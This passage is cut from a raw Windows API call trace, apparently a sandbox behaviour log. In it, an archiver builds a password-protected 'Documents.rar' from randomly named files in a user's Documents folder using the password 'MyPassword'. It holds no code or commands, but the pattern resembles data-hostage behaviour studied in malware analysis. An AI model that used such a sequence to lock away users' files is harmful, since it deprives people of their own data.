lpNumberOfBytesWritten=0x141a0dd5e0*=0x127c0, lpOverlapped=0x0) returned 1 [0082.647] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0082.647] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.647] SetFilePointer (in: hFile=0x32c, lDistanceToMove=640269, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0x9c50d [0082.647] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0d9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0d9c80*=0) returned 0x9c50d [0082.647] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079e00 [0082.647] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079bc0 [0082.647] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079bc0, Size=0x48) returned 0x1162e888ea0 [0082.647] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86d8f0 [0082.647] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163207a0d0 [0082.647] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163207a0d0, Size=0x48) returned 0x1162e8893a0 [0082.647] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86d8f0 | out: hHeap=0x1162e7c0000) returned 1 [0082.647] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ea0 | out: hHeap=0x1162e7c0000) returned 1 [0082.647] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079cb0 [0082.647] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079e60 [0082.647] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079e60 | out: hHeap=0x1162e7c0000) returned 1 [0082.647] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079cb0 | out: hHeap=0x1162e7c0000) returned 1 [0082.647] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079e00, Size=0x52) returned 0x1163204d460 [0082.647] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163204d460, Size=0x8e) returned 0x1162e87d150 [0082.647] WriteFile (in: hFile=0x32c, lpBuffer=0x1162e87d152*, nNumberOfBytesToWrite=0x8c, lpNumberOfBytesWritten=0x141a0d82c0, lpOverlapped=0x0 | out: lpBuffer=0x1162e87d152*, lpNumberOfBytesWritten=0x141a0d82c0*=0x8c, lpOverlapped=0x0) returned 1 [0082.647] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079ef0 [0082.647] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x8c) returned 0x1162e87d290 [0082.647] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e8893a0 | out: hHeap=0x1162e7c0000) returned 1 [0082.647] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e87d150 | out: hHeap=0x1162e7c0000) returned 1 [0082.647] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0xaed59 [0082.648] CloseHandle (hObject=0x350) returned 1 [0082.648] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0082.648] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.648] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0082.648] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.648] FindFirstFileW (in: lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\5HLd-s\\Q9 7uahS\\ww2bCvn.csv", lpFindFileData=0x141a0dc660 | out: lpFindFileData=0x141a0dc660) returned 0x1163204d460 [0082.648] FindClose (in: hFindFile=0x1163204d460 | out: hFindFile=0x1163204d460) returned 1 [0082.648] CreateFileW (lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\5HLd-s\\Q9 7uahS\\ww2bCvn.csv" (normalized: "c:\\users\\fd1hvy\\documents\\9embkuph551l7_wjzv\\qfqemqdf\\5hld-s\\q9 7uahs\\ww2bcvn.csv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0082.648] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f764f230, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0082.648] GetTickCount () returned 0x2a771 [0082.648] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0082.648] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0082.648] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0082.648] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0082.648] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="mbQ0b7o.ots") returned 11 [0082.648] SetWindowTextW (hWnd=0x10300, lpString="ww2bCvn.csv") returned 1 [0082.649] GetTickCount () returned 0x2a771 [0082.649] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0082.649] CryptAcquireContextW (in: phProv=0x141a0dd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x141a0dd850*=0x116320a74a0) returned 1 [0082.649] CryptGenRandom (in: hProv=0x116320a74a0, dwLen=0x10, pbBuffer=0x141a0dd8d0 | out: pbBuffer=0x141a0dd8d0) returned 1 [0082.649] CryptReleaseContext (hProv=0x116320a74a0, dwFlags=0x0) returned 1 [0082.649] GetSystemTime (in: lpSystemTime=0x141a0dd7e8 | out: lpSystemTime=0x141a0dd7e8*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xe, wSecond=0x0, wMilliseconds=0x83)) [0082.649] SystemTimeToFileTime (in: lpSystemTime=0x141a0dd7e8, lpFileTime=0x141a0dd7e0 | out: lpFileTime=0x141a0dd7e0) returned 1 [0082.649] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd810 | out: lpPerformanceCount=0x141a0dd810*=17397794181) returned 1 [0082.649] ReadFile (in: hFile=0x350, lpBuffer=0x11631b8e040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631b8e040*, lpNumberOfBytesRead=0x141a0dd8f0*=0x1112, lpOverlapped=0x0) returned 1 [0082.650] ReadFile (in: hFile=0x350, lpBuffer=0x11631b8f152, nNumberOfBytesToRead=0xfeeee, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631b8f152*, lpNumberOfBytesRead=0x141a0dd8f0*=0x0, lpOverlapped=0x0) returned 1 [0082.650] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x116320799e0 [0082.650] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079980 [0082.650] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079980, Size=0x48) returned 0x1162e888ea0 [0082.650] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86d7b0 [0082.650] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163207a040 [0082.650] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163207a040, Size=0x48) returned 0x1162e888ef0 [0082.650] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86d7b0 | out: hHeap=0x1162e7c0000) returned 1 [0082.650] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ea0 | out: hHeap=0x1162e7c0000) returned 1 [0082.650] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079e00 [0082.650] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079b90 [0082.650] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079b90 | out: hHeap=0x1162e7c0000) returned 1 [0082.650] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079e00 | out: hHeap=0x1162e7c0000) returned 1 [0082.650] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x116320799e0, Size=0x50) returned 0x1163204d7c0 [0082.650] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163204d7c0, Size=0x8c) returned 0x1162e87d150 [0082.650] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ef0 | out: hHeap=0x1162e7c0000) returned 1 [0082.650] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e87d150 | out: hHeap=0x1162e7c0000) returned 1 [0082.654] GetTickCount () returned 0x2a781 [0082.654] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd730 | out: lpPerformanceCount=0x141a0dd730*=17398270680) returned 1 [0082.654] GetTickCount () returned 0x2a781 [0082.654] GetTickCount () returned 0x2a781 [0082.654] GetTickCount () returned 0x2a781 [0082.654] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 1 [0082.654] GetMessageW (in: lpMsg=0x141a0dd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd790) returned 1 [0082.654] GetFocus () returned 0x1031c [0082.654] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd790) returned 1 [0082.654] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0082.654] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.655] ResetEvent (hEvent=0x344) returned 1 [0082.655] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.655] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0082.655] ResetEvent (hEvent=0x344) returned 1 [0082.655] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.656] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0082.656] GetTickCount () returned 0x2a781 [0082.656] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17398459574) returned 1 [0082.656] GetTickCount () returned 0x2a781 [0082.656] GetTickCount () returned 0x2a781 [0082.656] GetTickCount () returned 0x2a781 [0082.656] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 0 [0082.656] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 0 [0082.656] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.656] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0082.656] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.656] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5e0*=0) returned 0xaed59 [0082.656] SetFilePointer (in: hFile=0x32c, lDistanceToMove=138, lpDistanceToMoveHigh=0x141a0dd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5b0*=0) returned 0xaede3 [0082.656] CryptUnprotectMemory (in: pDataIn=0x141a0dd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd460) returned 1 [0082.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x141a0dd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0082.656] CryptUnprotectMemory (in: pDataIn=0x141a0dce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dce40) returned 1 [0082.657] CryptUnprotectMemory (in: pDataIn=0x141a0dcf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dcf40) returned 1 [0082.657] CryptUnprotectMemory (in: pDataIn=0x141a0dd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x141a0dd0c0) returned 1 [0082.657] WriteFile (in: hFile=0x32c, lpBuffer=0x1163023fb20*, nNumberOfBytesToWrite=0x1150, lpNumberOfBytesWritten=0x141a0dd5e0, lpOverlapped=0x0 | out: lpBuffer=0x1163023fb20*, lpNumberOfBytesWritten=0x141a0dd5e0*=0x1150, lpOverlapped=0x0) returned 1 [0082.657] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0082.657] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.657] SetFilePointer (in: hFile=0x32c, lDistanceToMove=716121, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0xaed59 [0082.657] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0d9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0d9c80*=0) returned 0xaed59 [0082.657] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079f20 [0082.657] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079f80 [0082.657] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079f80, Size=0x48) returned 0x1162e888810 [0082.657] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86d7b0 [0082.657] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079cb0 [0082.657] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079cb0, Size=0x48) returned 0x1162e888ea0 [0082.657] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86d7b0 | out: hHeap=0x1162e7c0000) returned 1 [0082.657] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888810 | out: hHeap=0x1162e7c0000) returned 1 [0082.657] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x116320799e0 [0082.657] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079ce0 [0082.657] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079ce0 | out: hHeap=0x1162e7c0000) returned 1 [0082.657] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x116320799e0 | out: hHeap=0x1162e7c0000) returned 1 [0082.657] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079f20, Size=0x50) returned 0x1163204d460 [0082.657] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163204d460, Size=0x8c) returned 0x1162e87d150 [0082.657] WriteFile (in: hFile=0x32c, lpBuffer=0x1162e87d152*, nNumberOfBytesToWrite=0x8a, lpNumberOfBytesWritten=0x141a0d82c0, lpOverlapped=0x0 | out: lpBuffer=0x1162e87d152*, lpNumberOfBytesWritten=0x141a0d82c0*=0x8a, lpOverlapped=0x0) returned 1 [0082.658] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079cb0 [0082.658] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x8a) returned 0x1162e87d470 [0082.658] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ea0 | out: hHeap=0x1162e7c0000) returned 1 [0082.658] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e87d150 | out: hHeap=0x1162e7c0000) returned 1 [0082.658] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0xaff33 [0082.658] CloseHandle (hObject=0x350) returned 1 [0082.658] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0082.658] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.658] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0082.658] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.658] FindFirstFileW (in: lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\5HLd-s\\Q9 7uahS\\_fBJ yDh9e.ods", lpFindFileData=0x141a0dc660 | out: lpFindFileData=0x141a0dc660) returned 0x1163204d760 [0082.658] FindClose (in: hFindFile=0x1163204d760 | out: hFindFile=0x1163204d760) returned 1 [0082.658] CreateFileW (lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\5HLd-s\\Q9 7uahS\\_fBJ yDh9e.ods" (normalized: "c:\\users\\fd1hvy\\documents\\9embkuph551l7_wjzv\\qfqemqdf\\5hld-s\\q9 7uahs\\_fbj ydh9e.ods"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0082.658] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f764f630, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0082.658] GetTickCount () returned 0x2a781 [0082.658] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0082.658] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0082.658] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0082.659] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0082.659] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="ww2bCvn.csv") returned 11 [0082.659] SetWindowTextW (hWnd=0x10300, lpString="_fBJ yDh9e.ods") returned 1 [0082.659] GetTickCount () returned 0x2a781 [0082.659] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0082.659] CryptAcquireContextW (in: phProv=0x141a0dd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x141a0dd850*=0x116320a74a0) returned 1 [0082.659] CryptGenRandom (in: hProv=0x116320a74a0, dwLen=0x10, pbBuffer=0x141a0dd8d0 | out: pbBuffer=0x141a0dd8d0) returned 1 [0082.659] CryptReleaseContext (hProv=0x116320a74a0, dwFlags=0x0) returned 1 [0082.659] GetSystemTime (in: lpSystemTime=0x141a0dd7e8 | out: lpSystemTime=0x141a0dd7e8*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xe, wSecond=0x0, wMilliseconds=0x93)) [0082.659] SystemTimeToFileTime (in: lpSystemTime=0x141a0dd7e8, lpFileTime=0x141a0dd7e0 | out: lpFileTime=0x141a0dd7e0) returned 1 [0082.659] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd810 | out: lpPerformanceCount=0x141a0dd810*=17398813251) returned 1 [0082.660] ReadFile (in: hFile=0x350, lpBuffer=0x11631b8e040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631b8e040*, lpNumberOfBytesRead=0x141a0dd8f0*=0x3217, lpOverlapped=0x0) returned 1 [0082.660] ReadFile (in: hFile=0x350, lpBuffer=0x11631b91257, nNumberOfBytesToRead=0xfcde9, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631b91257*, lpNumberOfBytesRead=0x141a0dd8f0*=0x0, lpOverlapped=0x0) returned 1 [0082.660] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079e00 [0082.660] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079f20 [0082.660] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079f20, Size=0x48) returned 0x1162e888ea0 [0082.660] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86d570 [0082.660] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079980 [0082.660] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079980, Size=0x48) returned 0x1162e888ef0 [0082.660] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86d570 | out: hHeap=0x1162e7c0000) returned 1 [0082.660] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ea0 | out: hHeap=0x1162e7c0000) returned 1 [0082.660] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079ce0 [0082.660] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079c80 [0082.660] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079c80 | out: hHeap=0x1162e7c0000) returned 1 [0082.661] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079ce0 | out: hHeap=0x1162e7c0000) returned 1 [0082.661] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079e00, Size=0x55) returned 0x1163204d580 [0082.661] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163204d580, Size=0x91) returned 0x1162e87d330 [0082.661] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ef0 | out: hHeap=0x1162e7c0000) returned 1 [0082.661] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e87d330 | out: hHeap=0x1162e7c0000) returned 1 [0082.661] GetTickCount () returned 0x2a781 [0082.661] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd730 | out: lpPerformanceCount=0x141a0dd730*=17398946892) returned 1 [0082.661] GetTickCount () returned 0x2a781 [0082.661] GetTickCount () returned 0x2a781 [0082.661] GetTickCount () returned 0x2a781 [0082.661] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0082.661] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0082.661] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.661] ResetEvent (hEvent=0x344) returned 1 [0082.661] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.669] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0082.669] ResetEvent (hEvent=0x344) returned 1 [0082.669] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.670] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0082.670] GetTickCount () returned 0x2a790 [0082.670] GetLastError () returned 0x0 [0082.670] SetLastError (dwErrCode=0x0) [0082.670] GetDlgItem (hDlg=0x102f8, nIDDlgItem=158) returned 0x10304 [0082.670] GetDlgItem (hDlg=0x102f8, nIDDlgItem=153) returned 0x10302 [0082.670] GetWindowTextW (in: hWnd=0x10302, lpString=0x141a0dbe80, nMaxCount=2560 | out: lpString=" 100%") returned 5 [0082.670] SendMessageW (hWnd=0x10304, Msg=0x402, wParam=0x64, lParam=0x0) returned 0x64 [0082.671] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17399944876) returned 1 [0082.671] GetTickCount () returned 0x2a790 [0082.671] GetTickCount () returned 0x2a790 [0082.671] GetTickCount () returned 0x2a790 [0082.671] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 0 [0082.671] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 0 [0082.671] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.671] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0082.671] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.671] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5e0*=0) returned 0xaff33 [0082.671] SetFilePointer (in: hFile=0x32c, lDistanceToMove=143, lpDistanceToMoveHigh=0x141a0dd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5b0*=0) returned 0xaffc2 [0082.671] CryptUnprotectMemory (in: pDataIn=0x141a0dd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd460) returned 1 [0082.671] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x141a0dd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0082.671] CryptUnprotectMemory (in: pDataIn=0x141a0dce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dce40) returned 1 [0082.671] CryptUnprotectMemory (in: pDataIn=0x141a0dcf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dcf40) returned 1 [0082.672] CryptUnprotectMemory (in: pDataIn=0x141a0dd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x141a0dd0c0) returned 1 [0082.672] WriteFile (in: hFile=0x32c, lpBuffer=0x1163023fb20*, nNumberOfBytesToWrite=0x3250, lpNumberOfBytesWritten=0x141a0dd5e0, lpOverlapped=0x0 | out: 